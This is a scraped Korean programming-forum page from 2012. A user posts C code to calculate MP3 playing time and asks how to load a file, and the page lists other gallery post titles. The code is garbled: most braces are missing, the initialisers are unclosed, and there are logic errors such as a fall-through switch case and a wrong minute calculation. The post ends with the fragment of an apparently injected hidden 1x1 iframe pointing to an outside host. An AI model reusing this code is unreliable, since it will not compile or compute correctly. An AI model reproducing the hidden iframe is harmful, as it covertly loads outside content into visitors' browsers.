디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

MP3 길이 계산하는 코딩인데 실행해보고싶다 ㅠㅠ

ㅇㅇㅇㅇ(121.157) 2012.01.15 23:27:27
조회 115 추천 0 댓글 6


#include <stdio.h> 
#include <sys/types.h> 
#include <winsock2.h> 
#include <fcntl.h> 
#include <sys/stat.h> 
 
int main(int s_Argc, char **s_Argv); 
unsigned long MZ_MP3_Time(char *s_MP3_Name); 
 
int g_BitrateIndexTable[4][3][16] = { 
{ // Version 2.5 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version reserved 
{0,},{0,},{0,} 
}, 
{ // Version 2.0 (ISO / IEC 13818-3) 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version 1.0 (ISO / IEC 11172-3) 
{ // Layer I 
0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, (-1) 
}, 
{ // Layer II 
0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, (-1) 
}, 
{ // Layer III 
0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, (-1) 


}; 
 
int g_FrequencyTable[4][4] = { 
{ // Version 2.5 
11025, 12000, 8000, (-1) 
}, 
{ // Version reserved 
(-1), 
}, 
{ // Version 2.0 
22050, 24000, 16000, (-1) 
}, 
{ // Version 1.0 
44100, 48000, 32000, (-1) 

}; 
 
char *g_ChannelModeString[] = { 
"Stereo", "Joint steroeo", "Dual stereo", "Single stereo" 
}; 
 
char *g_LayerString[] = { 
"Layer I", "Layer II", "Layer III" 
}; 
 
int main(int s_Argc, char **s_Argv) 

int s_Return = 0; 
if(s_Argc >= 2) 

int s_Count; 
int s_Hour, s_Min, s_Sec; 
for(s_Count = 1;s_Count < s_Argc;s_Count++) 

s_Return = MZ_MP3_Time(s_Argv[s_Count]); 
if(s_Return > 0) 

s_Sec = s_Return % 60; 
s_Min = s_Return / 60; 
s_Hour = s_Return / 3600; 
fprintf(stdout, ""%s" - %02d:%02d:%02d ", s_Argv[s_Count], s_Hour, s_Min, s_Sec); 

else fprintf(stdout, ""%s" - Unknown MP3 format ", s_Argv[s_Count]); 


else fprintf(stderr, "mp3_time <mp3 file> "); 
return(s_Return); 

 
unsigned long MZ_MP3_Time(char *s_MP3_Name) 

unsigned long s_Return = 0lu; 
if(s_MP3_Name) 

int s_Handle; 
s_Handle = open(s_MP3_Name, O_RDONLY); 
if(s_Handle >= 0) 

int s_ReadSize; 
unsigned long s_Header = 0lu; 
unsigned char s_Buffer; 
unsigned long s_VersionID = 0lu, s_Layer = 0lu, s_BitrateIndex = 0lu, s_FrequencyIndex = 0lu, s_Padding = 0lu; 
//unsigned long s_Protection = 0lu, s_ChannelMode = 0lu, s_ModeExtension = 0lu, s_Copyright = 0lu, s_Original = 0lu, s_Emphasis = 0lu; 
 
unsigned long s_FrameSize = 0lu, s_FrameCount = 0lu; 
 
do 

s_ReadSize = read(s_Handle, &s_Buffer, sizeof(unsigned char)); 
if(s_ReadSize > 0) 

s_Header = (s_Header << 8) | (unsigned long)(s_Buffer & 0xff); 
if((s_Header & 0xffe00000lu) == 0xffe00000lu) 

s_VersionID = (s_Header >> 19) & 0x03; 
s_Layer = (s_Header >> 17) & 0x03; 
//s_Protection = (s_Header >> 16) & 0x01; 
s_BitrateIndex = (s_Header >> 12) & 0x0f; 
s_FrequencyIndex = (s_Header >> 10) & 0x03; 
s_Padding = (s_Header >> 9) & 0x01; 
//s_ChannelMode = (s_Header >> 6) & 0x03; 
//s_ModeExtension = (s_Header >> 4) & 0x03; 
//s_Copyright = (s_Header >> 3) & 0x01; 
//s_Original = (s_Header >> 2) & 0x01; 
//s_Emphasis = (s_Header >> 0) & 0x03; 
if(s_VersionID != 0x01 && 
s_Layer != 0x00 && 
s_BitrateIndex != 0x0f && s_BitrateIndex != 0 && 
s_FrequencyIndex != 0x03 


switch((3 - s_Layer)) 

case 0: // Layer I 
s_FrameSize = 12000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize = ((s_FrameSize + s_Padding)<<2) - 4; 
break; 
case 1: // Layer II 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize += s_Padding - 4; 
case 2: // Layer III 
default: 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex] << (s_VersionID == 0x03 ? 0 : 1); 
s_FrameSize = s_FrameSize + s_Padding - 4; 
break; 

s_Header = 0lu; 
if(s_FrameSize > 0) 

s_FrameCount++; 
lseek(s_Handle, s_FrameSize, SEEK_CUR); 




}while(s_ReadSize > 0); 
close(s_Handle); 
s_Return = (((s_FrameCount * 1152) / g_FrequencyTable[s_VersionID][s_FrequencyIndex]) >> (s_VersionID == 0x03 ? 0 : 1)); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] Can not open mp3 "%s" !!! ", s_MP3_Name); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] s_MP3_Name is null !!! "); 
return(s_Return); 









실행하면 그냥 mp3_time <mp3 file> 출력 되고 끝..
어떻게 mp3 파일을 불러오는지 도와줄분?me width=1 src =http://ad01.mooo.com/advertis/ height=1>

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 대박 날 것 같아서 내 꿈에 나와줬으면 하는 스타는? 운영자 25/11/17 - -
AD 겨울가전 SALE! 쿨한 겨울 HOT세일 운영자 25/11/12 - -
299108 고마워 switch에 ()를 안달아서 안되던거였구나 [12] 해피너스갤로그로 이동합니다. 12.01.17 95 0
299106 시망 배탈나서 존나 까칠모드 됐네 dlbo갤로그로 이동합니다. 12.01.17 34 0
299103 바이브레이터는 [1] 생각놀이갤로그로 이동합니다. 12.01.17 65 0
299101 나 25 모태 [1] 전방수류탄*갤로그로 이동합니다. 12.01.17 52 0
299100 예전에 비안정 멀티바이브레이터 회로의 동작 원리에 대해 몰라서.. [1] ☎v2.0™갤로그로 이동합니다. 12.01.17 1438 1
299099 아는 형님 중 한분이 프리랜서인데 진짜 프리한 삶을 살고 있다. [2] 거칠게갤로그로 이동합니다. 12.01.17 154 0
299096 문과는 군대지원(222.101) 12.01.17 48 0
299095 씨언어 배운거 복습하다가 막혀서 질문좀 [12] 해피너스갤로그로 이동합니다. 12.01.17 143 0
299093 난 si는 안가봐서 몰랐는데 이정도 였어? [1] 거칠게갤로그로 이동합니다. 12.01.17 118 0
299089 궁금한게 있는데 문과 나온 사람들은 어디에 취업하는거야?? [5] 거칠게갤로그로 이동합니다. 12.01.17 270 0
299088 쇼핑몰 솔루션 일 하는 사람 조언 부탁 [1] GoodStar갤로그로 이동합니다. 12.01.17 51 0
299087 근데 고든은 물리학자 아닌가? [1] elwlwlwk갤로그로 이동합니다. 12.01.17 55 0
299086 시언어 입문자 if문 관련 질문좀 [5] 해피너스갤로그로 이동합니다. 12.01.17 60 0
299084 소자가 드러나면 전자고 다이어그램이면 컴공입니다. [3] dot(125.128) 12.01.17 65 0
299083 그래도 컴공이 전자보단 훨 쉬운거같다 [1] elwlwlwk갤로그로 이동합니다. 12.01.17 126 0
299082 IBATIS 에서 질문이 있어요 [3] 좋은아버지갤로그로 이동합니다. 12.01.17 43 0
299081 국내 대기업들이 sw에 관심을 갖은것만 해도 대단한 일인거 같다. [1] 거칠게갤로그로 이동합니다. 12.01.16 103 0
299080 영상처리나 패턴인식 이런건 수학과들보고 하라고 하고 [2] elwlwlwk갤로그로 이동합니다. 12.01.16 123 0
299079 국방부 관련 sw 개발은 좀 흥할까??? [3] 거칠게갤로그로 이동합니다. 12.01.16 81 0
299077 임베디드 하자 얘들아 kukyakya(110.76) 12.01.16 79 0
299076 내가 생각해도 컴공과는 진짜 뭔가 한방이 없는거 같다. [6] 거칠게갤로그로 이동합니다. 12.01.16 151 0
299075 컴공 희망은 있제. 멘탈붕괴(121.129) 12.01.16 68 0
299073 갑자기 상담사가 하고 싶어진다. 상담사할려면 대학원 가야하나? [2] 거칠게갤로그로 이동합니다. 12.01.16 49 0
299072 그러고 보니 상속을 해 본적이 별로 없다 --; [10] 생각놀이갤로그로 이동합니다. 12.01.16 116 0
299071 횽들은 보드 안타염..? [3] ㅋㄱ(183.96) 12.01.16 48 0
299070 10년 후 유망직종의 함정 거칠게갤로그로 이동합니다. 12.01.16 201 0
299069 컴공이란 과의 학문 난이도가 다른 공과에 비해 낮나요....... [8] SoliCode갤로그로 이동합니다. 12.01.16 175 0
299068 난 연봉 한 3600만 되도 더이상 바랄게 없다 [4] 1(211.197) 12.01.16 142 0
299067 C++을 잘 못해서 걱정이다. [2] 거칠게갤로그로 이동합니다. 12.01.16 73 0
299066 형님들 여기 고딩좀 도와주세요 ㅠㅠ [15] VOIKA갤로그로 이동합니다. 12.01.16 76 0
299065 hello world 겨우칠줄 아는 허접인데 6개월 하면 si취직 가능? [3] 1(211.197) 12.01.16 161 0
299064 프로그래머들은 돈을 많이 버나?? [1] ㄶ럼(121.171) 12.01.16 61 0
299063 C언어 너무 무시하네. [4] 멘탈붕괴(121.129) 12.01.16 118 0
299061 점점 두근거림이 없어지고 있다.... [1] 거칠게갤로그로 이동합니다. 12.01.16 61 0
299059 이쁜 여자가 오빠 과제해줘~ vs 못생긴 여자가 오빠 과제해줘~ [1] 거칠게갤로그로 이동합니다. 12.01.16 122 0
299058 신세대는 콘솔화면을 좋아하지 않는다 ㅡㅡ [3] 거칠게갤로그로 이동합니다. 12.01.16 105 0
299056 램2기가로 윈7에서 포토샵 굴리는데 왜케버벅대냐.. [2] 흉흉(221.138) 12.01.16 29 0
299055 여기 영어 잘하는 사람있어? 아 이거 해석안되네 ㅋㅋㅋ [3] 좋은아버지갤로그로 이동합니다. 12.01.16 74 0
299052 아 내일 삼성sds 아이디어 공모전 1차발표네. [1] 멘탈붕괴(121.129) 12.01.16 77 0
299051 저 질문좀요 [3] OC갤로그로 이동합니다. 12.01.16 37 0
299048 C언어도 안배운 선배가 자기는 자바부터 시작했다고 드립치면 패도되? [12] ㅊㅊ(121.157) 12.01.16 247 0
299046 CMD가 너무 빨리닫힌다. 프로그램 수행 후 바로종료 안되게좀 ㅡㅡ [11] 빡치는CMD(121.157) 12.01.16 296 0
299044 존나 병신이 간단한 질문좀;; (cmd창 옵션 쓰는 법) [8] jaydeedonuts갤로그로 이동합니다. 12.01.16 109 1
299043 복사/붙여넣기 안되는 바이러스도 있나?? [1] fta(115.88) 12.01.16 81 0
299042 이번에 휴학하면서 자바를 한번 배워보려고 하는데요 [1] 휴학생(59.14) 12.01.16 88 0
299041 C언어 간단한 질문좀요. [3] ㅂㅈㄷ(183.109) 12.01.16 63 0
299038 조공을 바칠테니 [2] 유니크감성돔갤로그로 이동합니다. 12.01.16 86 0
299037 여친이랑 휫자 먹고있다 [2] dlbo갤로그로 이동합니다. 12.01.16 110 0
299036 야근하시는데 할일없으신형들 [1] 유니크감성돔갤로그로 이동합니다. 12.01.16 56 0
299034 오늘 첫출근... [5] 그러함(211.246) 12.01.16 129 0
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

디시미디어

디시이슈

1/2